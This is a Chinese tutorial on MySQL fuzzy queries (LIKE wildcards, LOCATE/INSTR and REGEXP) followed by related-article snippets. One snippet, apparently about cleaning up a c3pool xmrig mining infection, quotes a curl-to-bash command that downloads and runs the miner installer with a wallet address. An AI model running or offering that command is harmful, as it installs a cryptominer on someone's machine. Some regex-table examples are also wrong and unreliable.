MySQL模糊查询
一、MySQL通配符模糊查询(%,_)
1.1.通配符的分类
1.“%”百分号通配符:表示任何字符出现任意次数(可以是0次)
2.“_”下划线通配符:表示只能匹配单个字符,不能多也不能少,就是一个字符。当然也可以like "张__",多个"_",数量不限。
3.like操作符:LIKE作用是指示mysql后面的搜索模式是利用通配符而不是直接相等匹配进行比较;但如果like后面没出现通配符,则在SQL执行优化时将like默认为"="执行
1.2.通配符的使用
1.“%”通配符
--模糊匹配含有“嵩”字的数据
select * from table where name like '%嵩%';
--模糊匹配以“嵩”字结尾的数据
select * from table where name like '%嵩';
--模糊匹配以“嵩”字开头的数据
select * from table where name like '嵩%';
--模糊匹配含有“xxx网xxx车xxx”的数据,如“滴滴网约车司机端,网络约车平台”
select * from table where name like '%网%车%';
2.“_”通配符
--查询以“网”为结尾的,长度为三个字的数据,如:“链家网”
select * from app_info where appname like '__网'
注意:'%__网、__%网'等同于'%网'
--查询前三个字符为xx网,后面任意匹配,如:“城通网盘、模具网平台”
select * from app_info where appname like '__网%';
--模糊匹配含义“xx网x车xxx”的数据,如:“携程网约车客户端”
select * from app_info where appname like '__网_车%';
注意:%通配符可以匹配任意字符,但是不能匹配NULL,也就是说SELECT * FROM blog where title_name like '%';是匹配不到title_name为NULL的的记录。
1.3.技巧与建议
MySQL的通配符很有用,但是这种功能是有代价的:通配符搜索的处理一般要比其他搜索所花时间更长,消耗更多的内存等资源。
- 不要过度使用通配符,如果其他操作符能达到相同的目的,应该使用其他操作符
- 在确实需要使用通配符时,除非绝对有必要,否则不要把它们用在搜索模式的开始处。因为MySQL在where后面的执行顺序是从左往右执行的,如果把通配符置于搜索模式的开始处,搜索起来是最慢的(因为要对全库进行扫描)
- 仔细注意通配符的位置,如果放错位置,可能不会返回想要的数据。
1.4.数据中的“%”、“_”等符合和通配符冲突
使用escape关键字进行转义
如下:escape后面跟着一个字符,里面写着什么,MySQL就把那个符号当做转义符,一般就写成“/”;然后就像c语言中转义字符一样,例如'\n','\t',把这个字符写在需要转义的那个%号前就可以了
SELECT * from app_info where appName LIKE '%/_%' ESCAPE '/';
二、MySQL内置函数检索(locate,position,instr)
通过内置函数locate,position,instr进行匹配,相当于Java中的str.contains()方法,返回的是匹配内容在字符串中的位置,效率和可用性上都优于通配符匹配。
SELECT * from app_info where INSTR(`appName`, '%') > 0;SELECT * from app_info where LOCATE('%', `appName`) > 0;SELECT * from app_info where POSITION( '%' IN `appName`) > 0;
如上,三种内置函数默认都是:>0,所以下列>0可加可不加,加上可读性更好
注意:MySQL中的角标从左往右是从1开始的,不像java最左边第一位角标是0,因此在MySQL中角标为0时说明不存在。
2.1.locate()函数
locate(substr,str)
返回substr在str中第一次出现的位置。如果substr在str中不存在,返回值为0,如果substr在str中存在,返回值为substr中第一次出现的位置。
locate(substr,str,[pos])
从位置pos开始的字符串str中第一次出现子字符串substr的位置。如果substr不在str中,则返回0.如果substr或str为NULL,则返回NULL
SELECT locate('a', 'banana'); -- 2
SELECT locate('a', 'banana', 3); -- 4
SELECT locate('z', 'banana'); -- 0
SELECT locate(10, 'banana'); -- 0
SELECT locate(NULL , 'banana'); -- null
SELECT locate('a' , NULL ); -- null
实例:
--用locate关键字进行模糊匹配,等同于:“like '%网%'”
SELECT * from app_info where LOCATE('网', `appName`) > 0;
--用locate关键字进行模糊匹配,从第二个字符开始匹配“网”,则“网易云游戏,网来商家”等数据就被过滤了
SELECT * from app_info where LOCATE('网', `appName`, 2) > 0;
2.2.position()函数
position(substr in substr)
这个方法可以理解为locate(substr,str)方法的别名,因为它和locate(substr,str)方法的作用是一样的。
实例:
--用position关键字进行模糊匹配,等同于:"like '%网%'"
SELECT * from app_info where POSITION( '网' IN `appName`);
2.3.instr()函数
instr(str,substr)
返回字符串str中第一次出现子字符串substr的位置。instr()和locate()的双参数形式相同,只是参数的顺序相反
实例:
--用instr关键字进行模糊匹配,功能跟like一样,等同于:"like '%网%'"
SELECT * from app_info where INSTR(`appName`, '网');
三、MySQL基于regexp、rlike的正则匹配查询(like查询比正则表达式查询略微快一点,但是正则表达式较灵活)
MySQL中的regexp和rlike关键字属于同义词,功能相同。
语法:
属性名 regexp '匹配方式'
regexp不支持通配符,支持正则匹配规则,是一种更细粒度且优雅的匹配方式。
选项 | 说明 | 例子 | 匹配值实例 |
^ | 匹配文本的开始字符 | '^b'匹配以字母b开头的字符串 | book、big、bike |
$ | 匹配文本的结束字符 | 'st$'匹配以字母st结尾的字符串 | test、resist |
. | 匹配任何单个字符 | 'b.t'匹配任何b和t之间有一个字符 | bit、bat、but |
* | 匹配前面的字符0次或多次 | ‘f*n’ 匹配字符 n 前面有任意个字符 f | fn、fan、faan、abcn |
+ | 匹配前面的字符1次或多次 | ‘ba+’ 匹配以 b 开头,后面至少紧跟一个 a | ba、bay、bare、battle |
? | 匹配前面的字符0次或1次 | 'sa?'匹配0个或1个a字符 | sa、s |
字符串 | 匹配包含指定字符的文本 | ‘fa’ 匹配包含‘fa’的文本 | fan、afa、faad |
[字符集合] | 匹配字符集合中的任何一个字符 | ‘[xz]’ 匹配 x 或者 z | dizzy、zebra、x-ray、extra |
[^] | 匹配不在括号中的任何字符 | ‘[^abc]’ 匹配任何不包含 a、b 或 c 的字符串 | desk、fox、f8ke |
字符串{n,} | 匹配前面的字符串至少n次 | ‘b{2}’ 匹配 2 个或更多的 b | bbb、bbbb、bbbbbbb |
字符串{n,m} | 匹配前面的字符串至少n次,至多m次 | ‘b{2,4}’ 匹配最少 2 个,最多 4 个 b | bbb、bbbb |
实例:
SELECT * from app_info where appName REGEXP '网';
-- 等同于
SELECT * from app_info where appName like '%网%';
3.1.regexp中的OR:|
功能:可以搜索多个字符串之一,相当于or
--匹配包含"中国"或"互联网"或"大学"的数据,支持叠加多个
SELECT * from app_info where appName REGEXP '中国|互联网|大学';
--匹配同时命中"中国"、"网"的数据可以用".+"连接,代表中国xxxx网,中间允许有任意个字符,顺序不能反。
SELECT * from app_info where appName REGEXP '中国.+网';
3.2.regexp中的正则匹配:[]
功能:匹配[]符号中几个字符之一,支持解析正则表达式
--匹配包含英文字符的数据,默认不区分大小写情况下
SELECT * from app_info where appName REGEXP '[a-z]';
-- 跟like一样,取反集加 "not REGEXP" 即可,下面不再赘述
SELECT * from app_info where appName not REGEXP '[a-z]';
--匹配包含大写英文字符的数据,默认忽略大小写,需要加上"binary"关键字。如
SELECT * from app_info where appName REGEXP BINARY '[A-Z]';
注意:MySQL中正则表达式匹配(从版本3.23.4后)不区分大小写
--匹配包含数字的数据
SELECT * from app_info where appName REGEXP '[0-9]';
--匹配包含数字或英文的数据
SELECT * from app_info where appName REGEXP '[a-z0-9]';
a-z、0-9都认定为一个单位,不要加多余符号
--查询以5、6、7其中一个为开头的数据
SELECT * from app_info where appName REGEXP '^[5|6|7]';
--查询以5、6、7其中一个为结尾的数据
SELECT * from app_info where appName REGEXP '[5|6|7]$';
--查询appname字节长度为10,任意内容的数据
SELECT * from app_info where appName REGEXP '^.{10}$';
-- 查询appName字节长度为10,且都为英文的数据
SELECT * from app_info where appName REGEXP '^[a-z]{10}$' ;
-- 查询appName字节长度为10,且都为大写英文的数据,加上BINARY即可
SELECT * from app_info where appName REGEXP BINARY '^[A-Z]{10}$';
-- 查询version_name字节长度为6,且都为数字或"." 的数据
SELECT * from app_info where version_name REGEXP '^[0-9.]{6}$';
-- 查询version_name字节长度为6,且都为数字或"." 的数据;要求首位为1
SELECT * from app_info where version_name REGEXP '^1[0-9.]{5}$' ;
- 查询version_name字节长度为6,且都为数字或"." 的数据;要求首位为1,末位为7
SELECT * from app_info where version_name REGEXP '^1[0-9.]{4}7$' ;
-- 查询version_name字节长度为6位以上,且都为数字或"." 的数据;要求首位为1,末位为7
SELECT * from app_info where version_name REGEXP '^1[0-9.]{4,}7$' ;
-- 查询version_name字节长度为 6 - 8 位,且都为数字或"." 的数据;要求首位为1,末位为7
SELECT * from app_info where version_name REGEXP '^1[0-9.]{4,6}7$' ;
-- 首位字符不是中文的
SELECT * from app_info where appName REGEXP '^[ -~]';
-- 首位字符是中文的
SELECT * from app_info where appName REGEXP '^[^ -~]';
-- 查询不包含中文的数据
SELECT * from app_info where appName REGEXP '^([a-z]|[0-9]|[A-Z])+$';
-- 以5或F开头的,且包含英文的数据
SELECT * from app_info where appName REGEXP BINARY '^[5F][a-zA-Z].';
特殊符号的匹配,例如.,需要加\\(注意是两个斜杠),但是如果在[]中可以不加:
-- 匹配name中含有.的
select * from app_info where appName regexp '\\.';
-- 匹配name中含有.的
select * from app_info where appName regexp '[.]';
3.3.字符类匹配(posix)
mysql中有一些特殊含义的符号,可以代表不同类型的匹配:
-- 匹配name中含有数字的
select * from app_info where appName regexp '[[:digit:]]';
这种字符类需要主要的外层要加一层[]。
3.4.[:<:]和[:>:]
上面的字符类中有两个比较特殊的,这两个是关于位置的,[:<:]匹配词的开始,[:>:]匹配词的结束,它们和 ^、$ 不同。
后者是匹配整个整体的开头和结束,而前者是匹配一个单词的开始和结束。
-- 只能匹配整体以a开头的,例如abcd
select * from app_info where appName regexp '^a';
-- 能匹配整体以a开头的,也能匹配中间的单词以a开头,如:dance after。
select * from app_info where appName regexp '[[:<:]]a';
[[:<:]] 、 [[:>:]] 分别匹配一个单词开头和结尾的空的字符串,这个单词开头和结尾都不是包含在alnum中的字符也不能是下划线。
select "a word a" REGEXP "[[:<:]]word[[:>:]]"; -- 1(表示匹配) select "a xword a" REGEXP "[[:<:]]word[[:>:]]"; -- 0(表示不匹配) select "weeknights" REGEXP "^(wee|week)(knights|nights)$"; -- 1(表示匹配)
相关文章:

MySQL模糊查询
一、MySQL通配符模糊查询(%,_) 1.1.通配符的分类 1.“%”百分号通配符:表示任何字符出现任意次数(可以是0次) 2.“_”下划线通配符:表示只能匹配单个字符,不能多也不能少,就是一个字符。当然…...
QEMU_v8搭建OP-TEE运行环境
文章目录 一、依赖下载二、设置网络三、安装下载四、运行OP-TEE 一、依赖下载 更新依赖包,下载一系列依赖。比如Python需要Python3.x版本,需要配置git的用户名和邮箱等。这里不详细展开了,很多博客都有涉及到。 二、设置网络 这一点非常重…...

C++11 设计模式0. 设计模式的基本概念,设计模式的准则,如何学习设计模式,24种设计模式的分为3大类
一 设计模式的基本概念: 模式:指事物的标准样式 或者 理解成 针对特定问题的可重用解决方案。 设计模式,是在特定问题发生时的可重用解决方案。 设计模式一般用于大型项目中。 大型项目中,设计模式保证所设计的模块之间代码的灵…...

(十)C++自制植物大战僵尸游戏设置功能实现
植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/m0EtD 游戏设置 游戏设置功能是一个允许玩家根据个人喜好和设备性能来调整游戏各项参数的重要工具。游戏设置功能是为了让玩家能够根据自己的需求和设备性能来调整游戏,以获得最佳的游戏体验。不同的游戏和平…...
数据结构——通讯录(顺序表的实战项目)
(—).通讯录的功能 大家应该都十分了解通讯录的功能吧,无非就是对联系人的增添删除,还有信息的修改,并且联系人信息要包含名字,电话,性别,地址等。我把通讯录的功能总结如下&#x…...
数据库-Redis(14)
目录 66.Redis为什么主从全量复制使用RDB而不是使用AOF? 67.Redis为什么还有无磁盘复制模式? 68.Redis为什么还会有从库的从库设计?...
Thinkphp5.0命令行创建验证器validate类
前言 最近接手了个用FastAdmin(基于tp5)写的项目,发现命令行只提供生成controller和model的命令,没有提供make:validate命令,而5.1及以上版本是有的,对于使用tp5.0框架或者基于tp5.0的第三框架(…...

人民网至顶科技:《开启智能新时代:2024中国AI大模型产业发展报告发布》
3月26日,人民网财经研究院与至顶科技联合发布《开启智能新时代:2024年中国AI大模型产业发展报告》。该报告针对AI大模型产业发展背景、产业发展现状、典型案例、挑战及未来趋势等方面进行了系统全面的梳理,为政府部门、行业从业者以及社会公…...

AI大模型探索之路-应用篇13:企业AI大模型选型指南
目录 前言 一、概述 二、有哪些主流模型? 三、模型参数怎么选? 四、参数有什么作用? 五、CPU和GPU怎么选? 六、GPU和显卡有什么关系? 七、GPU主流厂商有哪些? 1、NVIDIA芯片怎么选? 2、…...

【安全】查杀linux上c3pool挖矿病毒xmrig
挖矿平台:猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…...

车载测试:UDS之BootLoader刷写
BootLoader刷写 本文章是花费3小时结合多个项目实践总结和整体出来的,欢迎大家交流! BootLoader刷写章节 ①:预编程步骤流程流程图 1.1 概述 1.2 流程步骤描述 1)整车ECU进入扩展会话 2)刷…...

OpenHarmony实战开发-MpChart图表实现案例。
介绍 MpChart是一个包含各种类型图表的图表库,主要用于业务数据汇总,例如销售数据走势图,股价走势图等场景中使用,方便开发者快速实现图表UI。本示例主要介绍如何使用三方库MpChart实现柱状图UI效果。如堆叠数据类型显示…...
brpc: bthread使用
使用bthread并发编程 #include <gflags/gflags.h> #include <butil/logging.h> #include <bthread/bthread.h>static void* func(void* args) {std::string* num static_cast<std::string*>(args);for(int i 0; i < 5; i) {LOG(INFO) << *…...

H.265视频直播点播录像EasyPlayer.js流媒体播放器用户常见问题及解答
EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器,可支持多种流媒体协议播放,无须安装任何插件,起播快、延迟低、兼容性强,使用非常便捷。 今天我们来汇总下用户常见的几个问题及解答。 1、EasyPlayer.js播放多路H.265视…...
蓝桥杯杂题选做
海盗分金币 题目链接:1.海盗分金币 - 蓝桥云课 (lanqiao.cn) 题解:海盗分金币-Cheery的代码 - 蓝桥云课 (lanqiao.cn) 思路:倒着想就行。 等腰三角形 题目链接:1.等腰三角形 - 蓝桥云课 (lanqiao.cn) 题解:等腰三…...

【HTML】简单制作一个分形动画
目录 前言 开始 HTML部分 效果图 编辑编辑编辑编辑总结 前言 无需多言,本文将详细介绍一段代码,具体内容如下: 开始 首先新建文件夹,创建一个文本文档,其中HTML的文件名改为[index.html]&a…...

JVM修炼之路【11】- 解决内存溢出、内存泄漏 以及相关案例
前面的10篇 都是基础的知识,包括类加载的过程 类加载的细节,jvm内存模型 垃圾回收 等等, 这一篇我们开始实战了解一下 各种疑难杂症:怎么监控 怎么发现 怎么解决 内存溢出 内存泄漏 这两个概念在垃圾回收器里面已经讲过了&#…...
Java面试题:描述Java 17中的密封接口及其用途
Java 17是继Java 11和Java 16之后的又一个长期支持(LTS)版本,它于2021年9月发布。在Java 17中,一个重要的新特性是密封接口(Sealed Interfaces),这是对Java接口的增强,它允许接口有更…...
C++11的新特性
C11是由C标准委员会指定的语言规范。相比于C98/03,C11则带来了数量可观的变化,其中包含了约140 个新特性,以及对C03标准中约600个缺陷的修正,C11能更好地用于系统开发和库开发、语法更加泛华和简单化、更加稳定和安全,…...

【C语言__动态内存管理__复习篇6】
目录 前言 一、动态内存管理 二、动态内存函数 2.1 malloc 2.2 free 2.3 calloc 2.4 realloc 三、动态内存常见的6个使用错误 3.1 接收malloc/calloc返回的参数后未及时检查是否为NULL 3.2 越界访问动态内存空间 3.3 对非动态开辟的内存使用free释放 3.4 使用free只释放了…...
后进先出(LIFO)详解
LIFO 是 Last In, First Out 的缩写,中文译为后进先出。这是一种数据结构的工作原则,类似于一摞盘子或一叠书本: 最后放进去的元素最先出来 -想象往筒状容器里放盘子: (1)你放进的最后一个盘子(…...

深入剖析AI大模型:大模型时代的 Prompt 工程全解析
今天聊的内容,我认为是AI开发里面非常重要的内容。它在AI开发里无处不在,当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗",或者让翻译模型 "将这段合同翻译成商务日语" 时,输入的这句话就是 Prompt。…...

盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来
一、破局:PCB行业的时代之问 在数字经济蓬勃发展的浪潮中,PCB(印制电路板)作为 “电子产品之母”,其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透,PCB行业面临着前所未有的挑战与机遇。产品迭代…...

shell脚本--常见案例
1、自动备份文件或目录 2、批量重命名文件 3、查找并删除指定名称的文件: 4、批量删除文件 5、查找并替换文件内容 6、批量创建文件 7、创建文件夹并移动文件 8、在文件夹中查找文件...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南
1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发,使用DevEco Studio作为开发工具,采用Java语言实现,包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...
Typeerror: cannot read properties of undefined (reading ‘XXX‘)
最近需要在离线机器上运行软件,所以得把软件用docker打包起来,大部分功能都没问题,出了一个奇怪的事情。同样的代码,在本机上用vscode可以运行起来,但是打包之后在docker里出现了问题。使用的是dialog组件,…...

sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...